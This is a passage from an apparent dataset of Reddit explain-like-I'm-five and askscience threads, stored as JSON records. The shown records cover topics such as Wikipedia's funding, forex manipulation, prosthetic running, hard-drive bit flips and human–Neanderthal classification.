\"beaver ass in your ice cream\" thing was used as a scare tactic by a dumb sensationalist blogger who shall not be named to whip people into a frenzy. \n\nBut you'd be amazed at the things people will put into their mouths in the name of \"this stink is interesting\"! Ambergris is one of the most expensive perfume components around (a waxy substance that starts in the intestines of sperm whales and washes ashore). Most people would draw the line at putting it on their skin, but King Charles II went right ahead and melted it in his eggs, declaring it the finest thing he ever tasted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Digitalis"], []]}
{"q_id": "a7u13c", "title": "why does wikipedia need money?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a7u13c/eli5_why_does_wikipedia_need_money/", "answers": {"a_id": ["ec5qf6y", "ec5qgr8", "ec5ql7m", "ec5r2ek", "ec5r3au", "ec5rhpi", "ec5rkdu", "ec5sbgv", "ec5uo5q", "ec5vbwc", "ec5vhsg", "ec5vixb", "ec5vycd", "ec5xdvf", "ec61j85", "ec630dy", "ec651w2", "ec65it5", "ec65xyy", "ec66w3v"], "score": [20, 7, 394, 5098, 15, 7, 2, 58, 3, 4, 41, 3, 296, 2, 30, 2, 8, 4, 2, 2], "text": ["They need money to keep the servers running, and with a website of that size, it's somebody's full time job. ", "It costs money to host a site, especially one the size of Wikipedia. Still gotta pay for servers and server maintenance, cause no one really wants to run that for free.", "\u201cWhere your donation goes\n\nTechnology: Servers, bandwidth, maintenance, development. Wikipedia is one of the top 10 websites in the world, and it runs on a fraction of what other top websites spend.\n\nPeople and Projects: The other top websites have thousands of employees. We have about 300 staff to support a wide variety of projects, making your donation a great investment in a highly-efficient not-for-profit organization.\u201d\n\n_URL_0_", "Servers are like  playgrounds.  And even though other people come and do sports or have races and make the playground fun, when you have so many people using the playground, someone has to do some upkeep.  The jungle gym needs to be replaced.  The grass needs to be mowed.  The nets need replacing on the basketball court.  So, because everybody is having fun on the playground, there really isn't one kid responsible for fixing these things.  So, there's a groundskeeper who keeps the playground fun and safe for everybody.  And occasionally, that groundskeeper asks for a little bit of money to help pay for his time and the money he spent on the new equipment.", "Servers, hosting and bandwidth cost money.\n\nWikipedia also has staff to run all the equipment, marketing, accounting, etc. They need revenue to pay their salaries, office space, and to keep the lights on.\n\nA site as popular as wikipedia eats crazy amounts of bandwidth\n\nTo put this into perspective, Reddit is the 25th most popular site on earth in terms of hits. Wikipedia is 8th.\n\nReddit's own networking team did an AMA last month and stated that Reddit's average bandwidth usage for the month was  >  32 GBytes/sec ~= 256Gbit/sec", "ELI5 on the servers and hardware: Wikipedia has a ton of articles, which means they need a lot of hard drives. They also need those hard drives to be able to be accessed remotely by a guy on his phone sitting on his couch at home. This means you need to have constant high speed internet access (usually through fiber optic cables), and you need to have constant access to electricity to keep that connection running.  \n\nThat\u2019s about as much as I know about how a website works. ", "Servers are the computers that \"serve\" you information. \n\nSome other computer has the data that you want. You make a request to the server, the server tries to find the computer with the data that you are looking for, and then it delivers it to you if it can.\n\nThis can be very costly, the electricity and the manpower needed to keep them running is pretty expensive.\n", "This is a dumbed down version but.. Do you live somewhere? you probably pay rent or a mortgage, well a server is a space for a website. All websites need a server. A website as big and as busy as wikipedia needs many servers and very fast servers.  Servers are computers. That is where your money is going.", "It has no ads, I believe. And ads are used so websites could make money. Felt generous myself and donated $6 because wikipedia is so useful.", " > Edit: The first couple of comments are about the money going to servers....please ELI5 for what that really means too.\n\nServers and hosting cost money. The more visitors your site gets, the more servers you need. When you get the traffic that Wikipedia does, you need A LOT of servers.\n\nThen you need people to manage and maintain those servers. You also need people to write, maintain, and update the software that actually makes up the site itself. While you may not need to pay the people that provide the content, you still need the software tools that allow people to post and edit the content.", "People here keep saying it's the hosting, but that's only a small piece of the spending.\n\nOther spending might make some improvements (research projects, etc), but is ultimately unnecessary to keep the site online. The ads are somewhat deceptive by making it seem like they're barely hanging on by a thread.\n\n_URL_0_", "A server is a computer that stores massive amounts of data for businesses or government and especially the internet, and helps run these institutions or the internet.  Wikipedia has an incredibly huge amount of information that it manages and makes available to users, and it is continually being consulted and revised and updated by millions of people around the world. So it needs a huge amount of computing power and storage capacity and electricity and hired staff and so on to keep it running, so that you can look up stuff about almost anything on a whim, anytime you feel like it.", "The Wikimedia Foundation runs Wikipedia, so that's who would get donations.  According to the 2017-8 financial report from \\[1\\], the Foundation had operating expenses of about 81.5 million dollars.  Here's some interesting points from the document:\n\n**Salaries and wages -** *38.5 million dollars; \\~47%*: this is where most of the money goes.  According to \\[2\\], the Foundation employs about 280 people.  People cost a lot, I guess.\n\n**Grants -** *13.5 million dollars; \\~17%*: Did you know the Foundation actually gives grants \\[3\\]?  Grants cost money.  This is the second-highest expense category.\n\n**Internet hosting -** *2.3 million dollars; \\~3%*; I'm guessing this is the cost of running servers.\n\n**Donation processing expenses -** *4.5 million dollars; \\~6%*: This costs more than internet hosting!\n\n & #x200B;\n\nFinally, if you need more help understanding the raw data, this page has an FAQ: [_URL_4_](_URL_1_)\n\n & #x200B;\n\n\\[1\\] [_URL_2_](_URL_2_)\n\n\\[2\\] [_URL_5_](_URL_0_)\n\n\\[3\\] [_URL_3_](_URL_3_)", "Regarding your edit about servers: \n\nWebsites are like a window into someone else's house. Their house is the server, and it has all of the interesting stuff in it that you want to look at. But that stuff costs money, and the owner of the house needs to pay for the electricity for the lights to shine on the stuff in the house to get to your eyeballs so you can see it. ", "When you go on Wikipedia (or any website) you are accessing data on a computer somewhere (a server).\n\nIn order to do that, that computer needs to A) be running, and B) have an internet connection.\n\nIs electricity and an internet connection free?\n\nNo.\n\nWikipedia has bills to pay.", "Ever since the Sarah Jeong controversy where they refused to allow anything on her wikipedia page indicating racism, I vowed to never donate again.  \n  \n", "Servers are computers. They cost money. Also, computers use electricity, which costs money. Also, they need people who spend time making sure they are still working. And Wikipedia has a lot of computers, because there are many many many people using Wikipedia all the time, and one computer can only handle a few people.\n\nAlso, they need to put the computers somewhere, and that requires space, and that space has to be rented.\n\nAlso, they need to sometimes buy new computers, because old ones break. And sometimes they need to buy new computers because there's even more people using Wikipedia.\n\nAnd they also need to buy disk drives to hold on to all the information that's on Wikipedia. And since Wikipedia keeps all the old versions of their pages, that's a lot. And they break sometimes too.\n\nAlso they need to connect to the Internet. And that costs money. And since there's so many people using Wikipedia, they need a lot of Internet, which costs even more.\n\nAlso they have to pay lawyers, because sometimes people will get mad at them because there's something on Wikipedia that they don't like, or that they think they shouldn't be allowed to have, and their lawyers help make sure that doesn't happen.\n\n", "While it's obvious that Wikipedia need money for servers, as one of the most popular sites on the Internet, I doubt that it is the where most the money went.  \n\nPeople are expensive. The site relies on community for contents, but it still needs human to run. Developers, system admins, operators, project managers, designers, etc.", "Wikipedia is owned by Wikimedia which is a non profit, but they still have employees - all over the world in fact. They employ designers and engineers to maintain and update the site, and of course they pay for hosting. And they have to pay their salaries. Because they are a non profit you can actually see their expenses - they publish an annual report. ", "Wikipedia pretends to be out of money but actually has loads. I still donate but it is annoying"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://donate.wikimedia.org/"], [], [], [], [], [], [], [], ["https://meta.wikimedia.org/wiki/Wikimedia_Foundation_Annual_Plan/2017-2018/Final/Financials#Wikimedia_Foundation_financial_overview_graphics"], [], ["https://en.wikipedia.org/wiki/Wikimedia_Foundation#Staff", "https://meta.wikimedia.org/wiki/Wikimedia_Foundation_reports/Financial/Audits/2017-2018_-_frequently_asked_questions#What_is_", "https://wikimediafoundation.org/about/financial-reports/", "https://meta.wikimedia.org/wiki/Grants:Start", "https://meta.wikimedia.org/wiki/Wikimedia\\_Foundation\\_reports/Financial/Audits/2017-2018\\_-\\_frequently\\_asked\\_questions", "https://en.wikipedia.org/wiki/Wikimedia\\_Foundation#Staff"], [], [], [], [], [], [], []]}
{"q_id": "36z0bl", "title": "how does forex manipulation work and how are all the big banks doing it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36z0bl/eli5_how_does_forex_manipulation_work_and_how_are/", "answers": {"a_id": ["cribr12"], "score": [2], "text": ["In this case: Exchange rates go up and down constantly. To make this easier to manage for daily use, at two times in the day a snapshot of the rates was taken, and published as that day's rates. Most things that normal people do are done at those fixed, published rates, not at the constantly moving market rates.\n\nThe banks were working together to make the exchange rates move just before that snapshot was taken, so that the day's rates would suit their business interests."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aghk0w", "title": "how children(2-5 y.o) construct partially correct simple sentences without proper education like in school?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aghk0w/eli5_how_children25_yo_construct_partially/", "answers": {"a_id": ["ee6b4f9", "ee6elh8", "ee6hwic"], "score": [5, 4, 3], "text": ["Listen and learn basically. Certain words and phrases are used in certain situations and the brain starts associating them together. It's similar to how a weeb learns bits of Japanese from watching subbed anime, but baby's are a lot better at it.", "Because school as we know it for children is a relatively modern construct of the last 150years. It\u2019s not necessary for children to go to school to learn things. Think about it: they learn to sit, walk, crawl, and many other things, without special \u201cwalking lessons\u201d. Learning by doing, by observation, by natural curiosity, as it should be. ", "There's a popular theory that language (or more specifically, grammar) isn't learned the same way as other things, it's rather something humans are born with, an instinct. So children already have some innate basic ability to form sentences, that's why they don't need a theoretical explanation of language rules, hearing adults talk is enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1x1dof", "title": "does having a prosthetic leg make it easier to run farther since it won't get tired?", "selftext": "Perhaps someone with some first-hand experience can enlighten me. I was wondering since the leg won't get tired, once you get used to having a prosthetic leg, is it easier to run farther distances? Or does it hurt more in the upper leg area? I get shin splints all the time and wonder if I would run farther if I didn't have shins...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x1dof/eli5_does_having_a_prosthetic_leg_make_it_easier/", "answers": {"a_id": ["cf79ild", "cf7a446", "cf7a9p6", "cf7bpdm", "cf7e86a", "cf7i44r", "cf7l8pd"], "score": [13, 3, 3, 2, 3, 3, 3], "text": ["You get a lot of strain on the thigh and some pretty rough chafing at the contact areas. It's hard to *walk* long distances with standard prosthesis, and nearly impossible to run(unless you have that springy thing, but that's more bouncing than running?).", "Yeah look at oscar pistorius he doesn't even look like he's in shape yet he can keep up with some of the fastest runners in the world. Most scientist argued that he did have an unfair advantage, at the same time though, of the runners with prosthetics none have been as fast as the best without. Of course there are a lot more people with legs than without.", "So, an ordinary prosthesis wouldn't necessarily help. However, specially designed prosthetics can do a better job at helping one run than legs can. This makes sense -- our legs aren't optimized solely for running, they also have to be designed to do many other tasks. A specialized prosthetic, like that of Oscar Pistorius, can do much better than human legs. His prosthetics are essentially springs which store kinetic energy for him and make it much easier for him to run. \n\nFor more info, see here: _URL_0_", "Not always.  It depends on the prosthetic device, I'd suppose, but because you're missing body parts, the way you walk or run changes.", "I do not have first hand experience, but I can run you through the basic physics.\n\nIf you weight 100 kg (220 lbs), you need a certain amount of force to accelerate you to any given running speed. You also need a certain amount of force to maintain that running speed because of wind, air resistance, friction, etc. If you have a prosthetic leg, you still need to generate that force. If you can't get your calves and lower hamstrings involved, you have to do more with the muscles you do have. Sure, you have a little less weight to carry in your legs, but you have to generate almost as much force with fewer muscles.\n\nCertain prosthetics help make it more efficient by getting some bounce in there, but no, I can't imagine that the reduction in weight compensates for the reduction in muscle power. ", "easier? no. faster? maybe...? \n\nprosthetic legs, the ones for athletics, are glorified springs. that's not to understate their design, they're downright beautiful. but the mechanics they work from are no different than your mattress spring or car suspension. energy stored and released through the elastic deformation of a material. they cannot create or add force or energy that isn't coming directly from the runner. ", "Just thought I'd add my two cents here.  I am not an amputee, but I am a prosthetist.  I fit people for artificial limbs and braces.  I would say that it is true that some prosthetic feet are shaped to be very efficient, however, there are some aspects of prosthetics that people don't consider.  The first is suspension of a prosthesis.  There are several ways for a prosthetic leg to hold on to it's user.  Some of them are very good and reduce friction against the skin, and some of them are not.  A lot of what goes into the selection of a persons suspension is what is easiest/ best for them.  When a person with a prosthetic leg runs, they have to be worried about how well their leg is holding on, but also that it will not move around much and cause maceration of the skin.  Next, you have to consider the fit of the socket.  The slightest imperfection in the fit of the socket can cause skin breakdown, which happens very quickly when someone is running with a prosthesis.  So assuming they have amazing suspension and fit, there are other factors.  The next factor is the type of amputation.  More than likely, if it was a traumatic amputation, such as one that happened in a car accident, there may be other damage to the body that other people are not aware of.  Someone could have damage to their hips or knees, or even the bones inside of their residual limb.  Next, is also related to the type of amputation.  You have to remember that traumatic amputations are not a perfect procedure.  Techniques have improved, but essentially, surgeons are chopping off a piece of the body and wrapping everything else that's left up.  Our long bones, like the ones in the legs, are cylindrical in shape.  The outer cortical bone is where we bear our weight. The center is where blood is made and its softer. Bones are not meant to bear weight through the middle. The point is that when someone goes through a traumatic amputation, the bone is cut and rounded to the best of it's ability, but it's still a jagged edge.  Think about the residual bone like a jagged piece of PVC pipe that is pushing on the other tissues with every step.  A well-designed transtibial socket takes pressure off the end of the bones and onto the knee.  Although it can be tolerable, even the best prosthetic legs are by no means extremely comfortable.  Finally, we get to my most quantifiable point, which is energy consumption.  Although there is some energy advantage to certain prosthetic feet, it is merely making up for the increased energy that amputees have to use just to be able to walk. It is a well known fact in the O & P community that amputees use more energy to walk, let alone run. The more proximal, or closer to the center of the body, an amputation, the more energy used to walk. This explains why bilateral above knee amputees rarely walk.  They have to use so much energy to walk that a lot of them choose not to.  I have supplied some links to explain my points. \n\nenergy comsumption: _URL_0_\n\nAbove knee amputation: WARNING, THIS IS A VIDEO OF AN AMPUTATION. DON'T CLICK  IF YOU HAVE A WEAK STOMACH  \n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Mechanics_of_Oscar_Pistorius%27_running_blades"], [], [], [], ["http://limblossinformationcentre.com/user-information/exercise/energy-expenditure/", "http://www.youtube.com/watch?v=BFsb4YgWCrg"]]}
{"q_id": "3k3900", "title": "what exactly is edited when movie company's 'format the movie to fit the screen' and why do they need to boldly make that point known?", "selftext": "Title", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3k3900/eli5_what_exactly_is_edited_when_movie_companys/", "answers": {"a_id": ["cuudgq8", "cuuosu8", "cuuw7wt"], "score": [161, 8, 6], "text": ["To let you know that you aren't watching the whole picture.  \n  \nMost movies are 2.35:1 (~21x9), meaning that they are wider than your 1080p tv. The two ways to combat this is to either shrink the video to fit, producing the black bars on top and bottom (letterboxing), almost all Blu-ray's and a few movie channels on tv do this. The other option is to crop it to 1.78:1 (16x9) and pan the crop when needed, this results in a picture that fills the screen, but throws away about 25% of the picture at all times, which is what most tv stations, including HBO, does.  \n  \nFor the networks that do pan and scan, I have seen some exceptions, like in the opening sequence to Guardians of the Galaxy, the title is plastered across the entirety of the screen, so most networks will letterbox the opening and then revert back to the crop afterwards for the rest of the movie.", "If they're cutting out part of the image to fit it on a smaller screen, they're technically changing the cinematographer's work. It wouldn't surprise me at all if this were a concession to a cinematographers' union.", "There was a good video explaining this posted on r/movies recently, but I can't seem to link to the thread on my phone.\nHere's the YouTube link though: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=5m1-pP1-5K8"]]}
{"q_id": "1wbdki", "title": "Question regarding the transformations of English Law under the Henry II", "selftext": "I recently have read Henry II by W.L. Warren and I plan on writing my semester paper on the changes to the English legal system Henry II made during his reign, I'm dedicating a large portion of the paper to the historiography behind the evolution of \"common law\" in England. However I would like to know if anyone has any suggestions for contending sources that look at the issue differently than Warren, as well as sources were I can make comparisons to his analysis. I haven't had much luck with modern sources but any including different theoretical angles would be most helpful.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wbdki/question_regarding_the_transformations_of_english/", "answers": {"a_id": ["cf0zbfc"], "score": [3], "text": ["This is not directly applicable to your question, but I think it would be very much worth your time to look into the changing understandings of kingship in the high to late middle ages. The definitive work for this is still:\n\n*  Kantorowicz, Ernst Hartwig. The King\u2019s Two Bodies: A Study in Mediaeval Political Theology. Princeton Paperbacks. Princeton, N.J: Princeton University Press, 1997.\n\nThis is one of the key studies of England in the period in question. You should have already read it, but in case your advisor is slacking, definitely pick it up:\n\n* Clanchy, M. T. From Memory to Written Record: England, 1066-1307. 3rd ed. Chichester, West Sussex ; Malden, MA: Wiley-Blackwell, 2013.\n\nThe prefatory material from this may be helpful:\n\n* Holt, James Clarke. Magna Carta. 2nd ed. Cambridge ; New York: Cambridge University Press, 1992.\n\nThis book relates the English kingship to the outside pressure that was placed on it (ie. the Church). Be aware that the author is very much an advocate of a deliberate plan of papal hegemony, which is not the consensus understanding on the subject:\n\n* Ullmann, Walter. The Growth of Papal Government in the Middle Ages: A Study in the Ideological Relation of Clerical to Lay Power. 3d ed. London: Methuen, 1970.\n\nAlso in the context of the English kings and the Investiture Contest, I would definitely read:\n\n* Southern, R. W. Saint Anselm and His Biographer: A Study of Monastic Life and Thought 1059-c.1130. Cambridge: Cambridge University Press, 2009.\n\n\nHope that helps! Sorry that I don't know of anything that is explicitly direct. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1wgdyu", "title": "eve online and why so much money was destroyed", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wgdyu/eli5_eve_online_and_why_so_much_money_was/", "answers": {"a_id": ["cf1pm29"], "score": [2], "text": ["EVE Online is a mmorpg (and quite a good one I may add) that has an in-game currency (ISK) that has a transfer rate to real cash. When anything that you bought with real cash is destroyed or used in game-you're technically destroying and/or using real money. For example, the currents exchange rate is: 1 USD = 32,681,651.13 ISK According to _URL_0_\nI've heard the war was started on accident, but many ships are lost and the largest ships can run in the upwards of 3,000USD."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://isk.thealphacompany.net/?isk=1.00&amp;conversion=usdtoisk&amp;Submit=Convert#"]]}
{"q_id": "20h4ty", "title": "why do i get nauseous when i drink coffee or tea on an empty stomach?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20h4ty/eli5_why_do_i_get_nauseous_when_i_drink_coffee_or/", "answers": {"a_id": ["cg361g0"], "score": [9], "text": ["The caffeine tells your body to use up energy quickly. This raises your blood pressure. That alone can make you nauseous, but it uses your blood sugar too. If you haven't eaten, there is no more food replace it. There is also no food to absorb any of the caffeine to slow its effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fblnjt", "title": "why is mozilla firefox a more secure internet browser than chrome and others?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fblnjt/eli5_why_is_mozilla_firefox_a_more_secure/", "answers": {"a_id": ["fj56b36"], "score": [9], "text": ["There's a difference between security and privacy. A house with nothing but glass and metal bars, with a lot of guards outside is quite secure, not private though. In security chrome and Firefox are equivalent, though Chrome may have the edge (no pun intended) because it isolates itself from the rest of the system. Privacywise it's a nightmare because Google profits depends on how much it knows about you, as they will use it to sell stuff to you or help other companies do so for money. Every product of theirs is designed to gather all the information it can, so imagine how much information a browser, in which you spend most of your time, will gather. And this is a problem for 4 main reasons: 1. One person having that many data is too much power 2. That information can be used to manipulate you (with political propaganda and ads) 3. That information can be demanded by  the government which can use it against you 4. If it leaks that information can be used to do harm to you (stalk you or steal your identity). Most browsers, aside from Firefox, use Chrome as their base to build upon. The guys from Firefox get paid regardless of what they know about you and build their whole market around privacy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "x7b38", "title": "Does Dual N Back training really help \nwith increasing fluid intelligence?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x7b38/does_dual_n_back_training_really_help_with/", "answers": {"a_id": ["c5jtgfn"], "score": [6], "text": ["This is a hotly debated finding.  It's important to make sure you understand the terms that are being used here.  The n-back task is a measure of working memory.  We've long known that practicing working memory tasks improved performance on that same task, but until recently there hasn't been convincing evidence that there is any transfer of that ability to other tasks.  New research in the past few years has shown that working memory training CAN transfer to other tasks, which therefore would support the idea that you are actually improving/increasing working memory *ability*, not just learning the task.  This is pretty cool stuff, IMO.  \n\nNow, as for your question, it's important to note that measures of fluid intelligence are *highly dependent* on working memory.  So, it is not clear that the relative improvements in fluid intelligence aren't just the same transfer of improved working memory. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ss3yi", "title": "Why is buoyancy not used for launching things into space?", "selftext": "Considering we're about to [send a guy to 120,000 ft](_URL_0_) in a balloon, why is it not more efficient to lift rockets as high as possible using buoyancy before burning rockets, especially for smaller payloads? Wouldn't it save fuel as well as reduce the g-forces on the payload?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ss3yi/why_is_buoyancy_not_used_for_launching_things/", "answers": {"a_id": ["c4ghzao"], "score": [4], "text": ["_URL_0_\n\nSummary: Getting to orbit is mostly about orbital speed, not vertical speed or altitude."]}, "title_urls": [], "selftext_urls": ["http://www.redbullstratos.com/"], "answers_urls": [["http://www.reddit.com/r/askscience/search?q=balloon+rocket&amp;restrict_sr=on"]]}
{"q_id": "22w6zf", "title": "If I chose a random bit of my computer's hard drive and flipped it from a 0 to a 1 (or vice versa), what would happen?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22w6zf/if_i_chose_a_random_bit_of_my_computers_hard/", "answers": {"a_id": ["cgqztfd", "cgqzu7g", "cgqzzou", "cgr3mic", "cgr5vvn", "cgr615m"], "score": [13, 2, 5, 2, 33, 2], "text": ["Depend on which bit.\n\nIf you chose a bit from a bitmapped image, one of the pixels in that image would be a different color when you viewed the image.  This could be not even noticeable (if you changed 0xFFFFFF to 0xFFFFFE, for example, that one pixel would go from pure white to just barely grey) or if you chose a different bit (0xFFFFF to 0xFFFF7F) it might be very noticeable since you'd change a white pixel to yellow.  Or 0xFF7FFF would be purple.\n\nIf you changed a bit in a JPEG-encoded image, you'd likely mess up an entire 16x16 block of the image.  Would be much more noticeable.\n\nIf you changed a bit of an executable program you could easily cause the program to crash when it reached that point.  For example, if you changed the address in a JUMP instruction, the program would go to some random address rather than where it was supposed to go.  Let's say you messed with a bit in a video game program and it was supposed to jump to the section of code where it calculates your score, but instead with the new mangled address it jumps into the middle of an image file and tries to execute the bytes in the image is if they were machine language instructions.  This would almost certainly just crash the program.\n\nKeep in mind that many of these things have error checking built in - a bitmap image, JPEG, or executable program might have a checksum so that it can detect when it has been corrupted.  An executable program can't simply jump to any memory location it wants because the operating system only allows it to access memory allocated to it.  If it tries to go to a random memory address you will just get a page fault and crash.", "The short answer is: is depends. Depending on the specific bit you flip it could be as simple as corrupting a word document to as massive as corrupting your entire operating system install. Most computers are capable of recovering from this kind of corruption in some kind of graceful way. You won't really end up ruining the hard drive. At worst, you'll need to re-install your OS.", "Most file systems and even file formats have some level of error resiliency. Consider that most hard drives are still of the spinning variety rather than solid state. They are mechanical devices which can suffer from mechanical problems. Also, a lot of the basics of filesystem design were developed many years ago when hard drives were much more prone to failure than they are now. Those designers planned for various failure conditions because they were a part of life.\n\nYour computer probably deals with single bit errors almost constantly, but you don't notice because the error correction does its job. However multiple bit errors can cause data corruption. This is why companies usually store data on disk arrays joined together with RAID, **and** have backups of that data. The RAID helps prevent the failure of any one disk from destroying data and the backups help prevent data loss due to situations RAID can't protect against, like accidentally deleting a file.", "Almost certainly nothing you will notice.\n\nModern hard drives are HUGE.  1 terabyte is on the SMALL side now, a number that represents 8,796,093,022,208 bits.\n\nIf each bit was a person you would need the population of over a thousand earths.\n\n8bits in a byte, 1024B in a Kilobyte, 1024 KB in a Megabyte, 1024MB in a GigaByte, 1024 GB in a TeraByte \n\nFirst of all, unless you collect large video files, the bit flipped is likely to be in the empty sections of your drive, where it literally does not know what the data is and does not care.  (Basically, it's putting a drop of paint on canvas you haven't reached yet, that will just be painted harmlessly over).\n\nIt could hit something which has error correction (some parts of file-systems or file formats) and just be silently fixed next time that file is used.\n\nEven if it is in a section your computer is actively using and has no error correction, it could easily be a section where the change will not be noticed... one pixel is a tiny bit brighter, or the sound a little bit off for a second.\n\nIt could also make an obvious change, but never be visible to you, because it effects code you happen to never reach because you never change your system language to swahili, or uninstall Firefox without upgrading, or receive more than 30 chat messages a second.\n\nSuch a tiny change is like the background radiation we are all exposed to every day because the earth is radioactive (and so is the sun).  It might damage some DNA somewhere, and MAYBE it will cause cancer... but more likely that cell is going to die normally never having cared about the change at all and your life will go on undisturbed.", "Nothing - on your hard drive this happens all the time.  Data on hard drives is written with error correction encoding.  During every write to a hard drive, a few 'extra bits' are also written.  These 'extra bits' are cleverly calculated so that whenever one (or more) data bits get corrupted during a read operation the error is identified and corrected.  There is actually some very deep mathematics behind this process.\n\nReferences:\n_URL_1_\n\n_URL_0_\n", "Nothing. The error detection/correction functionality in hardware and software almost completely eliminate errors. There are two basic scenarios to look at here:\n\n1) Switched bit while writing. If a bit were to be switched while it is being sent to the hard drive (or SSD), the information to be written would fail the checksum. The hard drive would not ACKnowledge the frame sent, and it would be resent.\n\n2) Switched bit on drive. There are many ways of implementing this, but it all depends on how much overhead you are willing to have. A switched bit during writing simply needs to be detected so the data can be resent, a switched bit on the disc needs to be able to be corrected; therefore, parity data must be kept with the original data. With the parity data you can both detect and correct this error, but you lose some space on the disc. Parity algorithms, on a larger scale, are also the basis of how one can ensure data integrity over multiple discs (RAID).\n[Here](_URL_0_) is a decent Wikipedia article on some of the parity algorithms and their implementations.\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Forward_error_correction", "http://en.wikipedia.org/wiki/Hard_disk_drive#Error_rates_and_handling"], ["http://en.wikipedia.org/wiki/Error_detection_and_correction#Error_detection_schemes"]]}
{"q_id": "bvy0p6", "title": "why don\u2019t we see devices use b, c, and d batteries anymore? or the square 9v ones?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bvy0p6/eli5_why_dont_we_see_devices_use_b_c_and_d/", "answers": {"a_id": ["eptbjfj", "epte9i1", "eptg5p6"], "score": [53, 22, 5], "text": ["The energy density and maximum power output of lithium ion batteries, combined with their decreasing cost, makes the idea of using large sets of C/D batteries unattractive.\n\nWhy have a massive pack of replaceable cells when for a little extra cost, you can have a built in rechargeable battery pack less than half the size?", "A and B batteries were used in old fashioned tube radios, and had no other purpose once household electric was common. \n\nThey don't produce much power by weight, an old boombox would have seven or eight pounds of batteries that could only run for a day or two. \n\n9 volts was good for crude electronics, but almost nothing uses voltages that high except things you would normally plug in. Lithium Ion batteries run at 3.7 volts, so that's the voltage most battery electronics are made to run on now.", "Devices like what? Battery choice/size is dictated by the design and function of the device. \n\nEverything today is small and very efficient so instead of 4d cell Maglites we have 2AAA cell LED flashlights that are smaller, lighter, brighter, cheaper and last longer utilizing much less power.\n\nAlso, phones and other rechargeable electronics will have internal commercial sized Li-ion batteries or can even run off of watch batteries because things are so much more efficient now.\n\nWe don't see them because of supply and demand. Devices became less power hungry AND small batteries became stronger (Li-ion)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5oqd2y", "title": "why do people believe that police roadblocks are unconstitutional?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5oqd2y/eli5_why_do_people_believe_that_police_roadblocks/", "answers": {"a_id": ["dcl7kml"], "score": [2], "text": ["Remember that your constitutional rights still apply in a roadblock situation. Though police are permitted to stop you briefly, they may not search you or your car unless they have probable cause, Since the Supreme Court\u2019s ruling in Illinois v. Caballes police have more leeway to use drug-sniffing dogs in roadblock situations.\n\nBe aware that Customs and Border Protection (CBP) agents \u2013 which are part of the Dept. of Homeland Security (DHS) \u2013 are permitted to search you and your belongings at the U.S. border without probable cause or a search warrant. So anytime you cross the border, you consent to a search.\nBIG TIP:\n\nAll I did was go to StartPage  and type do police roadblocks are unconstitutional?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cdw2ju", "title": "if we've discovered recently that modern humans are actually a mix of homo sapiens neanderthalensis and homo sapiens sapiens dna, why haven't we created a new classification for ourselves?", "selftext": "We are genetically different from pure Homo Sapiens Sapiens that lived tens of thousands of years ago that had no Neanderthal DNA. So shouldn't we create a new classification?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cdw2ju/eli5_if_weve_discovered_recently_that_modern/", "answers": {"a_id": ["etwoc7n", "etwy703", "etx1m8l", "etx4wzx", "etx5ad6", "etx9ig3", "etxd40m", "etxk79j", "etxlp75", "etxtxrn", "etxw75s", "ety4d7a", "ety51vj", "etye5yl", "etyrrid", "etyza65", "etyzmun", "etz9gk1"], "score": [2859, 207, 182, 48, 52, 2, 8, 9, 2, 3, 5, 2, 4, 5, 2, 2, 3, 2], "text": ["Two subspecies that don't fully diverge into new species generally won't get a separate name if they then create a hybrid.\n\nLook to man's best friend: all dogs are *Canis Lupus Familiaris*, and a hybrid with the original *Canis Lupus* (a wolf) doesn't get a new third designation, it's either mostly wolf or mostly dog and is treated as such.\n\nAll modern humans are mostly *Sapiens Sapiens* by a massive margin, so they retain that name even though some have a low level of Neanderthal hybridization.\n\nMore generally, subspecies designation is sloppy work since the line between subspecies is typically very blurry.  Unlike bespoke species that typically can't produce fertile hybrids, subspecies usually can and sometimes this is a significant percentage of the population.", "It's even more complicated than that. We're also part Denisovan  